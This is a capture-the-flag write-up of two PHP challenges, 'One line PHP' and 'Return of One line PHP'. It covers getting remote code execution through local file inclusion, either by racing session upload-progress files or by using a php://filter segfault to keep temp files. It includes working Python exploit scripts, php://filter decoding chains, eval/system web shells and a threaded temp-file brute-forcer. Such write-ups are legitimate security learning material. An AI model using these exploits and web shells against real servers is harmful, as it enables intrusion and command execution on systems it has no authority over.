Detailed writeup of both one line php and Return of one line php

Hey, I am SpyD3r(@TarunkantG) and in this blog I will be discussing both challenge one line php and Return of one line php.
Both challenges were very interesting and got to learn alot of new things, so I decided to write a writeup on same, I have referred a lot of blogs to good catchup on these topic which I will be discussing in details.

Difference between these two challenge

There was a small difference between these two challenge, in the one line php it was given default php with version 7.2 and in Return of one line php, it was given default php with one change session.upload_progress.enabled = Off and this change made old exploit not working or say for avoiding the old exploit and create a new one.

One line PHP

This challenge was made by @orange, you can find his writeup here.

a
As you can see source code, from this we can know that we only can include things which starts from @<php and they said that this is default php, so we can’t includes remote files because allow_url_include = Off in default. Now what??
The wrapper we can use is php://filter, and session.upload_progress.enabled = On so if this, we can control partial session file by making a post request by this parameter PHP_SESSION_UPLOAD_PROGRESS. And will include this session file with LFI.
Because session.upload_progress.cleanup = On by default, what it do is, it deletes the session file as soon as it’s work is done. We will bypass this using Race Condition.
We can change the session file name by sending the cookie PHPSESSID=something, by this the session file name will be sess_something.
So Now we know the session file name, but what the content look like?
So lets create a session file and check the content, here is the code snippet for creating session file.

1
2
3
4
5
6
7
8
9
10
11
headers = {
'Cookie': 'PHPSESSID=tarunkant'
}
data = {
'PHP_SESSION_UPLOAD_PROGRESS': final_payload
}
while 1:
fp = open('/etc/passwd', 'rb')
r = requests.post(HOST, files={'f': fp}, data=data, headers=headers)
print r.text
fp.close()

It created the session file, lets look into it:
a
As you can see our final_payload got prefix upload_progress_, but we wanted our file start from @<?php, so we need to manipulate it. There are two ways to solve that challenge:

1st way (Orange way):

Base64 encode your payload 3 times then add prefix ZZ or BB or xx and while including session file, base64 decode 3 times through php filter wrapper.
Why prefix ZZ or else??
Base64 decoding 3 times upload_progress_ZZ gives you empty string.

a
So it will return your payload.

1
final_payload = 'ZZ' + payload

but this payload is 3 times base64-encoded of your payload. but remember every time you encode there should not be any = or ==. There is code snippet for generating the same:
1
2
3
4
5
6
7
8
9
while 1:
junk = ''.join(sample(string.ascii_letters, randint(8, 16)))
x = b64encode(payload + junk)
xx = b64encode(b64encode(payload + junk))
xxx = b64encode(b64encode(b64encode(payload + junk)))
if '=' not in x and '=' not in xx and '=' not in xxx:
payload=xxx
print payload
break

Now is the time for RCE through Race Condition and LFI.
Now we need to make requests to include session file through LFI. there is code snippet for the same:
1
2
3
4
5
6
7
8
9
filename = '/var/lib/php/sessions/sess_' + sess_name
filename = 'php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s' % filename
print filename
while 1:
url = '%s?orange=%s' % (HOST, filename)
r = requests.get(url, headers=headers)
c = r.content
if c and 'orange' not in c:
print [c]

Run both code for creating the session file and including the session file at same time. Here is the full exploit script.

Key points to solve:

  • Control session file by PHP_SESSION_UPLOAD_PROGRESS.
  • Using PHP wrapper manipulate upload_progress_.
  • Get RCE through Race COndition and LFI.

2nd way:

This way is somewhat different from orange way, you can get writeup here.
I will be using his POC here.
For decoding:

1
php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=data://,upload_progress_

For encoding:
1
php://filter/convert.base64-encode|convert.iconv.UCS-4LE.UCS-4BE|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|string.rot13|convert.base64-encode|string.rot13|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-decode|convert.iconv.IBM1154.UTF8/resource=data://,xyz

In this way we will encode our payload and using PHP_SESSION_UPLOAD_PROGRESS we will send it to server, this will make session file and using LFI we will decode through php filter wrapper.
So we need to encode our payload, but what will be??
1
$payload = ">" . iconv('UTF8','CP1025','@<?php eval($_GET[1]);?>//aaa');

Why do we need to pad with > ??
Because
a
Here you can see that after decoding upload_progress_ it starts with <, so we will close this and will do string.strip_tags, so that it will replace upload_progress_ with empty string.
Why CP1025 encoding??
At last after string.strip_tags did his work, now decoding algo has convert.iconv.CP1025.UTF8 for decoding that.
So finally we got our shell payload.

a
a
Now we have to make POST request to

1
?orange=php://filter/convert.iconv.UTF8.IBM1154|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|string.rot13|convert.base64-encode||convert.iconv.UCS-2LE.UCS-2BE|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|string.rot13|convert.base64-decode|convert.iconv.UCS-2LE.UCS-2BE|convert.base64-encode|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.UCS-4LE.UCS-4BE|convert.base64-decode|string.strip_tags|convert.iconv.CP1025.UTF8/resource=/var/lib/php/sessions/sess_tarunkant&1=?><?php system(ls);

with data PHP_SESSION_UPLOAD_PROGRESS consisting our encoded payload.

Return of One line PHP

As I said earlier here in this challenge session.upload_progress.enabled = Off. Now what ??
There was one bug submitted a year ago, which was segmentation fault in php7.0 which can lead RCE (If we get LFI ;) ). you can get writeup here.
POC
a
This challenge is similar to this bug, but the php version given here was 7.2.
So need to find segmentation fault in 7.2, So here is the POC
a
Here is the writeup how it got derived, here.
Now what after getting segmentation fault, How will you get RCE through LFI using same ??
So everyone know that, when we upload a file, server make a temp file having same content as uploaded file and after some time it gets deleted, so what if php gets hang in between? cool, then our file won’t get delete. Then we can make request to that temp file using LFI to get RCE. How will you do that now?

In while loop Make post request to

1
?url=php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

And send shell file
1
2
3
4
@<?php
system($_GET['cmd']);
echo "spyd3r";
?>

1
2
3
4
while 1:
url = base_url + "/trial.php?file=php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
files = {'file': open('shell.php','rb')}
response = requests.post(url, files=files)

Now we need to bruteforce for the temp file, Here is the full code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import string
import threading

charset1 = string.digits + string.letters
charset2 = charset[::-1]
charset3 = string.letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(prefix,charset):
for i in charset:
for j in charset:
for k in charset:
filename = prefix + i + j + k
url = "%s/Trash/trial15.php?file=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
for i in xrange(0,2):
threading.Thread(target=bruteforce,args=('00'+str(i),charset1,)).start()
threading.Thread(target=bruteforce,args=('00'+str(i),charset2,)).start()
threading.Thread(target=bruteforce,args=('00'+str(i),charset3,)).start()

if __name__ == "__main__":
main()

Both challenge was very interesting, really enjoyed…
I hope you guys found it good article and worth to read.
Thanks,